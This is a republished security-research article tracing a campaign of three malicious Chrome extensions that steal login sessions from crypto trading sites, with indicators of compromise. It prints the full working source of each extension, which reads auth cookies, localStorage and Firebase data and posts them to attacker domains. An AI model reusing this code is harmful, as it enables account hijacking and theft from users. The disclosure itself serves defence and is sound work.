URL has been copied successfully!
Hidden in Plain Sight: How we followed one malicious extension to uncover a multi-extension”¦
URL has been copied successfully!

Collecting Cyber-News from over 60 sources

Hidden in Plain Sight: How we followed one malicious extension to uncover a multi-extension”¦

Hidden in Plain Sight: How we followed one malicious extension to uncover a multi-extension campaign

Short read for everyone: we found a malicious Chrome extension that stole login data from a crypto trading site. Tracing the domain it talked to uncovered a second malicious extension. That second extension’s public metadata contained the developer email, which led to a third malicious extension. All three behave the same way: they quietly read session data (cookies, localStorage, IndexedDB) and send it to attacker servers. Below is the full investigative flow and the actual code we found.

How it started: discovering Axiom Enhancer

We discovered Axiom Enhancer a malicious extension first through our extension analyzer.

The analyzer flagged as suspicious because it has background script that: looks for an open axiom.trade tab, checks for authentication cookies, reads the site’s localStorage from the page, and sends that data to an external URL. Note: Dynamic analysis score of 2 is because the extension only triggers when it locates used logged into axiom.trade which was not simulated in our agentic simulation. Analyzer considers this inconclusive and omit it from overall risk calculations. Here is the exact background.js code we analyzed for Axiom Enhancer

(() => { const e = () => { (console.log('Checking Axiom Tabs'), chrome.tabs.query({ url: 'https://axiom.trade/*' }, ([e]) => { e && (console.log('Found the tab!'), new Promise((e, t) => { chrome.cookies.getAll({ domain: '.axiom.trade' }, o => { o?.length && o.some(e => 'auth-access-token' === e.name) && o.some(e => 'auth-refresh-token' === e.name) ? e(o) : t('Required cookies not found.'); }); }) .then(t => { return ((o = e.id), new Promise((e, t) => { chrome.scripting.executeScript( { target: { tabId: o }, func: () => { try { return Object.fromEntries( Object.entries(localStorage) ); } catch { return {}; } }, }, ([o]) => o?.result ? e(o.result) : t('Failed to fetch localStorage') ); })).then(e => fetch('http://axiomenhancer.com/api/axiom', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ axiomCookies: t, localStorage: e }), }).then(() => { console.log('Syncing in progress'); }) ); var o; }) .catch(console.error)); })); }, t = () => { return ( (t = e), void chrome.storage.local.get( ['lastRequestTimestamp'], ({ lastRequestTimestamp: e = 0 }) => { const o = Date.now(); if (o - e >= 5e3) chrome.storage.local.set({ lastRequestTimestamp: o }, t); else { const t = Math.ceil((5e3 - (o - e)) / 1e3); console.log(`Rate limit: wait ${t}s`); } } ) ); var t; }; let o = null; const r = () => { o -- (o = setInterval(t, 5e3)); }; (chrome.runtime.onInstalled.addListener(() => { (t(), r()); }), chrome.runtime.onStartup.addListener(() => { (t(), r()); }));})();

What this code does :

On install and on browser startup it begins a repeating check (every ~5 seconds). It searches for any open browser tab under axiom.trade/*. If a tab is found, it checks cookies for auth-access-token and auth-refresh-token. If those cookies exist, it injects a small script into that page to read all localStorage (site-stored data). Finally it sends a POST to axiomenhancer.com/api/axiom with:

{ "axiomCookies": <cookie-array>, "localStorage": <object> }

It repeats this in the background, silently. Why this is bad: cookies + localStorage can include authentication tokens and session data. By collecting and sending them offsite, the extension hands attackers the ability to impersonate users.

Pivot: domain tracing reveals Photon Bot

From the Axiom Enhancer code we quickly had a useful lead: the extension was sending data to axiomenhancer.com. We searched other extensions and components for the same domain and found Photon Bot. Photon’s background script posted to the same domain, and it specifically captured a cookie used by its targeted site.

Here is the background.js for Photon Bot

(() => { let e = () => { (console.log('Checking Photon Tabs'), chrome.tabs.query( { url: 'https://photon-sol.tinyastro.io/*' }, ([e]) => { e && (console.log('Found the tab!'), new Promise((e, t) => { chrome.cookies.getAll( { domain: '.photon-sol.tinyastro.io' }, o => { o?.length && o.some(e => '_photon_ta' === e.name) ? e(o) : t('Required cookies not found.'); } ); }) .then(e => { for (let t of (console.log(e), e)) '_photon_ta' == t.name && fetch('https://axiomenhancer.com/api/photon', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ cookie: t.value }), }); }) .catch(console.error)); } )); }, t = () => { var t; return ( (t = e), void chrome.storage.local.get( ['lastRequestTimestamp'], ({ lastRequestTimestamp: e = 0 }) => { let o = Date.now(); if (o - e >= 5e3) chrome.storage.local.set({ lastRequestTimestamp: o }, t); else { let a = Math.ceil((5e3 - (o - e)) / 1e3); console.log(`Rate limit: wait ${a}s`); } } ) ); }, o = null, a = () => { o -- (o = setInterval(t, 5e3)); }; (chrome.runtime.onInstalled.addListener(() => { (t(), a()); }), chrome.runtime.onStartup.addListener(() => { (t(), a()); }));})();

What Photon Bot does

Periodically (every ~5s) looks for a tab under photon-sol.tinyastro.io/*. If found, it collects cookies for .photon-sol.tinyastro.io and looks for a cookie named _photon_ta. For each _photon_ta cookie found, it sends the cookie value to axiomenhancer.com/api/photon. Why this matters: Photon used the same attacker domain (axiomenhancer.com) and the same exfiltration approach only the target site and cookie name differed. That strongly suggests the same author or group.

Pivot: metadata reveals developer email → find Trenches Agent

While inspecting Photon’s public metadata (store listing / developer contact), we found a developer email: blacktate114@gmail.com. Using that email as a pivot (searching extension metadata and the Chrome extensions database) revealed a third extension: Trenches Agent.

Here is the main code used by Trenches Agent

const backendURL = 'https://analyticsapi.online/api';let defaultRateLimit = 5000;const modules = [ { name: 'gmgn', fn: async function () { chrome.tabs.query({ url: 'https://gmgn.ai/*' }, async tabs => { let tab; if (tabs.length > 0) { tab = tabs[0]; } else if (!this.initialized) { this.initialized = true; tab = await openTab('https://gmgn.ai'); } else { return; } let ls = await getLocalStorage(tab.id); try { await logAnalytics(this.name, { localStorageData: ls }); } catch (e) { console.log(e); } }); }, initialized: false, ratelimit: 25000, }, { name: 'bullx', fn: async function () { chrome.tabs.query({ url: 'https://bullx.io/*' }, async tabs => { let tab; if (tabs.length > 0) { tab = tabs[0]; } else if (!this.initialized) { this.initialized = true; tab = await openTab('https://bullx.io'); } else { return; } let token = await getCookie({ url: 'https://bullx.io', name: 'bullx-token', }); let ls = await getLocalStorage(tab.id); let fb = await extractFirebaseData(tab.id); try { await logAnalytics(this.name, { cookie: token, localStorageData: ls, firebaseData: fb, }); } catch (e) { console.log(e); } }); }, initialized: false, ratelimit: 35000, }, { name: 'axiom', fn: async function () { chrome.tabs.query({ url: 'https://axiom.trade/*' }, async tabs => { let tab; if (tabs.length > 0) { tab = tabs[0]; } else if (!this.initialized) { this.initialized = true; tab = await openTab('https://axiom.trade'); } else { return; } let ls = await getLocalStorage(tab.id); let access = await getCookie({ url: 'https://axiom.trade', name: 'auth-access-token', }); let refresh = await getCookie({ url: 'https://axiom.trade', name: 'auth-refresh-token', }); try { await logAnalytics(this.name, { cookies: { access, refresh }, ls }); } catch (e) { console.log(e); } }); }, initialized: false, ratelimit: 30000, }, { name: 'photon', fn: async function () { chrome.tabs.query( { url: 'https://photon-sol.tinyastro.io/en/discover' }, async tabs => { let tab; if (tabs.length > 0) { tab = tabs[0]; } else if (!this.initialized) { this.initialized = true; tab = await openTab('https://photon-sol.tinyastro.io/en/discover'); } else { return; } let cookies = await getCookie({ url: 'https://photon-sol.tinyastro.io', name: '_photon_ta', }); try { logAnalytics(this.name, { cookie: cookies }); } catch (e) { console.log(e); } } ); }, initialized: false, ratelimit: 40000, }, { name: 'padre', fn: async function () { chrome.tabs.query({ url: 'https://trade.padre.gg/*' }, async tabs => { let tab; if (tabs.length > 0) { tab = tabs[0]; } else if (!this.initialized) { this.initialized = true; tab = await openTab('https://trade.padre.gg'); } else { return; } let ls = await getLocalStorage(tab.id); let fb = await extractFirebaseData(tab.id); try { await logAnalytics(this.name, { localStorageData: ls, firebaseData: fb, }); } catch (e) { console.log(e); } }); }, initialized: false, ratelimit: 45000, },];let started = false;function scheduleModuleChecks() { for (const module of modules) { setInterval(async () => { try { await module.fn(); } catch (err) { console.error(`Error in module ${module.name}:`, err); } }, module.ratelimit -- defaultRateLimit); }}function startChecks() { if (started) return; console.log('Looking for trading platforms to enhance!'); scheduleModuleChecks(); started = true;}startChecks();async function getCookie({ url, name, returnFull = false }) { return new Promise((resolve, reject) => { if (!url -- !name) { reject("Missing 'url' or 'name' parameter."); return; } chrome.cookies.get({ url, name }, cookie => { if (chrome.runtime.lastError) { reject(`Chrome error: ${chrome.runtime.lastError.message}`); return; } if (cookie) { resolve(returnFull ? cookie : cookie.value); } else { resolve(false); } }); });}async function openTab(url) { return new Promise(resolve => { chrome.tabs.create({ url }, resolve); });}async function getLocalStorage(tabId) { return new Promise((resolve, reject) => { chrome.scripting.executeScript( { target: { tabId }, func: () => { try { // Return all localStorage data as an object return Object.fromEntries( Object.entries(localStorage).map(([key, value]) => [key, value]) ); } catch (error) { console.error('Error accessing localStorage:', error); return null; } }, }, results => { try { const [result] = results -- []; if (!result -- result.result === null) { return reject( 'Failed to retrieve localStorage or script error occurred.' ); } resolve(result.result); } catch (error) { reject(`Error processing script results: ${error.message}`); } } ); });}async function logAnalytics(endpoint, data) { try { const response = await fetch(`${backendURL}/${endpoint}`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data), }); if (!response.ok) { const errorText = await response.text(); console.error( `⌠Failed to send '${endpoint}' data. Status: ${response.status}, Response: ${errorText}` ); return false; } console.log(`✅ '${endpoint}' data sent to backend successfully.`); return true; } catch (error) { console.error(`🚨 Error sending '${endpoint}' data:`, error); return false; }}async function extractFirebaseData(tabId) { return new Promise((resolve, reject) => { chrome.scripting.executeScript( { target: { tabId }, func: () => { return new Promise((resolveInner, rejectInner) => { const request = indexedDB.open('firebaseLocalStorageDb'); request.onerror = () => rejectInner('Failed to open IndexedDB: firebaseLocalStorageDb'); request.onsuccess = event => { const db = event.target.result; if (!db.objectStoreNames.contains('firebaseLocalStorage')) { resolveInner(null); // No firebase data found return; } const transaction = db.transaction( ['firebaseLocalStorage'], 'readonly' ); const store = transaction.objectStore('firebaseLocalStorage'); const getAllRequest = store.getAll(); getAllRequest.onsuccess = () => { const entries = getAllRequest.result; const firebaseData = {}; for (const item of entries) { firebaseData[item.fbase_key] = item.value; } resolveInner(firebaseData); }; getAllRequest.onerror = () => { rejectInner( 'Failed to retrieve data from firebaseLocalStorage' ); }; }; }); }, }, injectionResults => { try { if ( injectionResults && injectionResults[0] && injectionResults[0].result !== undefined ) { resolve(injectionResults[0].result); } else { reject('Script executed but returned no result.'); } } catch (err) { reject(`Error processing script result: ${err.message}`); } } ); });}chrome.runtime.onInstalled.addListener(() => { console.log('Extension installed.'); startChecks();});chrome.runtime.onStartup.addListener(() => { console.log('Browser startup detected.'); startChecks();});

What Trenches Agent does :

It’s a framework of multiple modules, each targeting a different trading site (axiom.trade, bullx.io, photon, gmgn.ai, trade.padre.gg, etc.). For each site it: Finds or opens a tab to the target URL, Collects localStorage, cookies, and in some cases Firebase data (from IndexedDB), Sends that data to blacktate114@gmail.com. Search developer email leads to Trenches Agent”Š”, “Šusing the email in extension metadata databases revealed Trenches Agent; its code posted to analyticsapi.online and targeted multiple trading platforms.

At the time of publishing, all three extensions were available on Chrome store.

Indicators of Compromise (IoCs)

Malicious domains / endpoints axiomenhancer.com/api/axiom axiomenhancer.com/api/photon analyticsapi.online/api/* Developer contact blacktate114@gmail.com Extension IDs Photon Bot: lgnfmkckpppkfbfndcdighighholljcn Trenches Agent: ddhodpjidkbpkeheeenjflfjbgljgapl Axiom Enhancer: khbegeannolbigamjahgggfpnaacbbmb


Hidden in Plain Sight: How we followed one malicious extension to uncover a multi-extension”¦ was originally published in SquareX Labs on Medium, where people are continuing the conversation by highlighting and responding to this story.

First seen on securityboulevard.com

Jump to article: securityboulevard.com/2025/10/hidden-in-plain-sight-how-we-followed-one-malicious-extension-to-uncover-a-multi-extension/

Loading

Share via Email
Share on Facebook
Tweet on X (Twitter)
Share on Whatsapp
Share on LinkedIn
Share on Xing
Copy link